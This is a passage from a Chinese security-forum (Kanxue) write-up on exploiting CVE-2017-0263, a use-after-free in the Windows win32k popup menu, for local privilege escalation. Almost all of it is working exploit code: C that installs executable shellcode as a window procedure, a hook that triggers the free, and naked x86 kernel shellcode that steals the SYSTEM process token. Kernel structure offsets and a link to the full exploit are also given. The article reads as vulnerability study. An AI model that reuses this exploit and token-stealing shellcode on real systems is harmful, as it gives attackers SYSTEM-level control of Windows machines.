for (i = 0; i < g_dwWindowCount_2017_0263; i++)
{
pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)HMValidateHandle(g_hWindowList_2017_0263[i], TYPE_WINDOW) + 0x64);
}

DWORD dwOldProtect = 0;

if (!VirtualProtect(pvShellCode, PAGE_SIZE, PAGE_EXECUTE_READ, &dwOldProtect))
{
ShowError("VirtualProtect", GetLastError());
bRet = FALSE;
goto exit;
}

// 指定窗口的消息处理例程
SetWindowLongW(g_hWindowHunt_2017_0263, GWL_WNDPROC, (DWORD)pvShellCode->pfnWinProc);

在ShellCode中要找到会被释放的tagPOPUPMENU,所以在事件处理函数中,要对其内存地址进行记录,此时的事件处理例程如下,保存的tagPOPUPMENU对象地址,在发送消息的时候将作为参数进行传递:

VOID CALLBACK WinEventProc_CVE_2017_0263(HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime)
{
if (g_dwCount_2017_0263 == 0)
{
lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
// 获取tagPOPUPMENU对象地址
g_dwPopupMenuRoot_2017_0263 = *(PDWORD)((PBYTE)HMValidateHandle(hwnd, TYPE_WINDOW) + 0xb0);
}

if (++g_dwCount_2017_0263 >= 2)
{
// 发送销毁菜单消息
SendMessage(hwnd, MN_ENDMENU, 0, 0);
}
else
{
// 发生鼠标左键按下消息
SendMessage(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
}
}

要执行的ShellCode代码如下,在内核模式下处理的消息例程第一个参数是窗口句柄,其他是一样的。ShellCode会判断是否是0x9F9F消息,以及是否是内核模式下运行,如果不是就执行失败。如果是,通过call下一条指令的方式获取当前的eip,因为执行的ShellCode是保存在SHELLCODE结构体最后,所以通过当前已经运行的字节数和SHELLCODE结构体前面几个成员的大小获取SHELLCODE结构体的首地址。通过SHELLCODE结构体中保存的tagCLS和传入的参数来处理会被释放的tagPOPUPMENU内存,防止线程退出时出现BSOD。

获取EPROCESS的时候,需要用到tagTHREADINFO的ppi成员,该成员可以找到相应的EPROCESS。而Token对象的引用计数的增加,则是通过增加Token对象的对象头的PointerCount实现的。

0: kd> dt win32k!tagTHREADINFO
+0x0b8 ppi : Ptr32 tagPROCESSINFO
2: kd> dt win32k!tagPROCESSINFO
+0x000 Process : Ptr32 _EPROCESS
1: kd> dt _OBJECT_HEADER
nt!_OBJECT_HEADER
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
+0x004 NextToFree : Ptr32 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : UChar
+0x00d TraceFlags : UChar
+0x00e InfoMask : UChar
+0x00f Flags : UChar
+0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : Ptr32 Void
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body : _QUAD
DWORD __declspec(naked) ShellCode_CVE_2017_0263(HWND hWnd, int code, WPARAM wParam, LPARAM lParam)
{
__asm
{
push ebp
mov ebp, esp

// 如果消息不是0x9F9F,函数退出
mov eax, dword ptr[ebp + 0xC]
cmp eax, 0x9F9F
jne LocFAILED

// 如果cs的值为0x1B则是用户模式(这里判断低2位是否为0就可以),函数退出
mov ax, cs
cmp ax, 0x1B
je LocFAILED

// 将bDialogWindow标志位自增
cld
// ecx = tagWND
mov ecx, dword ptr [ebp + 8]
inc dword ptr [ecx + 0x16]

pushad
// 通过当前EIP首地址获取SHELLCODE对象的首地址
call $5
$5:
pop edx
sub edx, 0x443

// 将tagCLS数组与参数wParam的tagPOPUPMENU对比
mov ebx, 0x100
// esi = SHELLCODE->tagCLS
lea esi, [edx + 0x18]
// edi = tagPOPUPMENU
mov edi, dword ptr[ebp + 0x10]

LocForCLS:
test ebx, ebx
je LocGetEPROCESS
// 获取tagCLS中非0的数值
lods dword ptr [esi]
dec ebx
cmp eax, 0
je LocForCLS
// 获取tagCLS->lpszMenuName
add eax, dword ptr [edx + 8]
// 比较是否是符合条件的tagCLS
cmp dword ptr [eax], edi
jne LocForCLS
// 不符合则清空
and dword ptr [eax], 0
jmp LocForCLS

LocGetEPROCESS:
// ecx = tagWND->pti
mov ecx, dword ptr [ecx + 8]
// ebx = SHELLCODE->off_THREADINFO_ppi
mov ebx, dword ptr [edx + 0x0C]
// ecx = tagTHREADINFO->ppi
mov ecx, dword ptr [ebx + ecx]
// ecx = tagPROCESSINFO->EPROCESS
mov ecx, dword ptr [ecx]
// ebx = SHELLCODE->off_EPROCESS_ActiveLink
mov ebx, dword ptr [edx + 0x10]
// eax = SHELLCODE->pid
mov eax, dword ptr [edx + 4]

push ecx
LocForCurrentPROCESS :
// 判断PID是否是当前进程PID
cmp dword ptr [ebx + ecx - 4], eax
je LocFoundCURRENT
// 取下一进程EPROCESS
mov ecx, dword ptr [ebx + ecx]
sub ecx, ebx
jmp LocForCurrentPROCESS

LocFoundCURRENT:
// 将找到的EPROCESS赋给edi
mov edi, ecx
pop ecx

LocForSystemPROCESS:
// 判断EPROCESS的PID是否为4
cmp dword ptr [ebx + ecx - 4], 4
je LocFoundSYSTEM
// 取下一进程EPROCESS
mov ecx, dword ptr [ebx + ecx]
sub ecx, ebx
jmp LocForSystemPROCESS

LocFoundSYSTEM:
// 将SYSTEM进程EPROCESS赋给esi
mov esi, ecx

// eax=SHELLCODE->off_EPROCESS_Token
mov eax, dword ptr [edx + 0x14]
// 当前进程和系统进程EPROCESS指向TOKEN
add esi, eax
add edi, eax
// 将系统进程TOKEN赋值给当前进程的TOKEN
lods dword ptr[esi]
stos dword ptr es:[edi]

// 将系统进程TOKEN对象的PointerCount + 2,即增加引用计数
and eax, 0x0FFFFFFF8
add dword ptr[eax - 0x18], 2

popad
// 提权成功,返回值设为0x9F9F
mov eax, 0x9F9F
jmp LocRETURN

LocFAILED:
// 提权失败,返回值设为1
mov eax, 1
LocRETURN:
leave
ret 0x10
}
}

运行结果

最后还有一个坑,这个漏洞要通过创建新线程来提权,否则主线程会直接卡死,完整代码在 http://github.com/LegendSaber/exp/blob/master/exp/CVE-2017-0263.cpp

编译运行exp,最终就会成功提权:

参考资料

  • http://www.anquanke.com/post/id/102377

  • http://www.anquanke.com/post/id/102378

  • http://xz.aliyun.com/t/9287

看雪ID:1900

http://bbs.pediy.com/user-home-835440.htm

*本文由看雪论坛 1900 原创,转载请注明来自看雪社区

#

往期推荐

1. 堆、UAF之PWN从实验到原理

2. Frida inlineHook原理分析及简单设计一款AArch64 inlineHook工具

3. PWN学习笔记【格式化字符串漏洞练习】

4. Il2Cpp恢复符号过程分析

5. 记一次安全产品的漏洞挖掘

6. CVE-2016-3309提权漏洞学习笔记

球分享

球点赞

球在看

点击“阅读原文”,了解更多!